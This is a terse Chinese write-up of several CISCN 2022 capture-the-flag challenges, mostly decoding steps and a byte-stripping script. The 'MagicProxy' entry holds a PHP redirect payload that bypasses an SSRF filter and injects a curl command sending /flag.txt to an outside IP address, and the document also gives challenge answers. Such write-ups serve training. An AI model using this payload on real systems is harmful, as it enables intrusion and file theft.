MagicProxy
ssrf重定向绕过
<?php
header("Location:http://127.0.0.1:8080/admin?command=curl%20-F%20file=@/flag.txt%20http%3A%2F%2F82.157.174.226%3A8888");
exit;
?>
ezmodbus
ZmxhZ3tic2N6czF6Y3h9
base64解码
迟来的签到
XHUwMDQzXHUwMDQ5XHUwMDUzXHUwMDQzXHUwMDRlXHUwMDMyXHUwMDMwXHUwMDMyXHUwMDMy
base64解码后unicode解码
CISCN2022解压
记事本打开
字符串逆序就是flag
ezFD
爆破密码
f = open("FD", 'rb')
b = b''
for i in f.read():
if i and i != 0xff:
b += bytes([i])
open('flag', 'wb').write(b)
维吉尼亚解密出flag
标签：分区赛,CISCN,解码,base64,flag,2022,open From： https://www.cnblogs.com/seizer/p/17036296.html